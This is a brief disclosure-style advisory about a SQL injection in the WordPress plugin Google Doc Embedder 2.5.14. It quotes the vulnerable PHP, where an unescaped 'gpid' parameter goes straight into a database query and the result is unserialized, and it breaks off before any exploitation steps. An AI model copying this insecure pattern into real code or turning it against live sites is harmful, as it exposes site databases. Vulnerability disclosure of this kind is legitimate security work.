# Exploit Title: Google Doc Embedder 2.5.14 SQL Injection # Date: 10-11-2014 # Exploit Author: Kacper Szurek - http://security.szurek.pl http://twitter.com/KacperSzurek # Software Link: https://downloads.wordpress.org/plugin/google-document-embedder.2.5.14.zip # Category: webapps 1. Description $_GET['gpid'] is not escaped. File: google-document-embedder\view.php if ( isset( $_GET['gpid'] ) ) { if ( $profile = gde_get_profile( $_GET['gpid'] ) ) { $tb = $profile['tb_flags']; $vw = $profile['vw_flags']; $bg = $profile['vw_bgcolor']; $css = $profile['vw_css']; } } So we control $id. File: google-document-embedder\view.php function gde_get_profile( $id ) { global $wpdb; $table = $wpdb->prefix . 'gde_profiles'; $profile = $wpdb->get_results( "SELECT * FROM $table WHERE profile_id = $id", ARRAY_A ); $profile = unserialize($profile[0]['profile_data']); if ( is_array($profile) ) { return $profile; } else { return false; } } http://security.szurek.pl/google-doc-embedder-2514-sql-injection.html 2.
